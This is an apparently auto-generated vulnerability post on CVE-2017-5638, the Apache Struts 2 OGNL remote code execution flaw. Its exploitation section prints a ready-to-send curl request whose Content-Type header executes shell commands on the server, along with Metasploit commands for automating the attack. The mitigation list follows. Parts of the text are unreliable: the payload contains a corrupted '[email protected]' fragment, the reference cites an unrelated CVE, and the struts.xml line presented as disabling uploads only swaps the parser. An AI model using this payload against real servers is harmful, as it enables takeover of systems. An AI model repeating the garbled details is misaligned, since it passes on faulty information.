Listen to this Post
How the Mentioned CVE Works:
CVE-2017-5638 is a critical vulnerability in Apache Struts 2, a popular framework for building Java web applications. The flaw exists in the Jakarta Multipart parser, which is used to handle file uploads. Attackers can exploit this vulnerability by sending a crafted Content-Type header in an HTTP request. This header contains malicious OGNL (Object-Graph Navigation Language) expressions, which the server executes due to improper input validation. Successful exploitation allows remote code execution on the target server, enabling attackers to take full control of the system. This vulnerability gained notoriety after it was exploited in the Equifax data breach, compromising sensitive data of millions of users.
DailyCVE Form:
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability: Remote Code Execution
Severity: Critical
Date: March 7, 2017
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
Use a tool like `curl` or `Burp Suite` to send a crafted HTTP request with a malicious `Content-Type` header.
Example:
curl -H "Content-Type: %{(_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[bash]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd='whoami').(iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(cmds=(iswin?{'cmd.exe','/c',cmd}:{'/bin/bash','-c',cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}"
2. Exploit with Metasploit:
Use the Metasploit module `exploit/multi/http/struts2_content_type_ognl` to automate the attack.
use exploit/multi/http/struts2_content_type_ognl set RHOSTS <target_ip> set RPORT <target_port> set TARGETURI /<struts_action> exploit
Protection:
1. Update Apache Struts:
Upgrade to Apache Struts 2.3.32 or 2.5.10.1, which include patches for this vulnerability.
2. Input Validation:
Implement strict input validation to filter out malicious OGNL expressions.
3. Web Application Firewall (WAF):
Deploy a WAF to detect and block malicious requests targeting the vulnerability.
4. Disable File Uploads:
If file uploads are not required, disable the Jakarta Multipart parser in the Struts configuration.
Add the following to `struts.xml`:
<constant name="struts.multipart.parser" value="jakarta-stream" />
5. Log Monitoring:
Monitor server logs for unusual activity, such as repeated requests with crafted headers.
6. Network Segmentation:
Isolate web servers from critical internal systems to limit the impact of a potential breach.
By following these steps, organizations can mitigate the risk posed by CVE-2017-5638 and protect their systems from exploitation.
References:
Reported By: https://www.cve.org/CVERecord?id=CVE-2025-24983
Extra Source Hub:
Undercode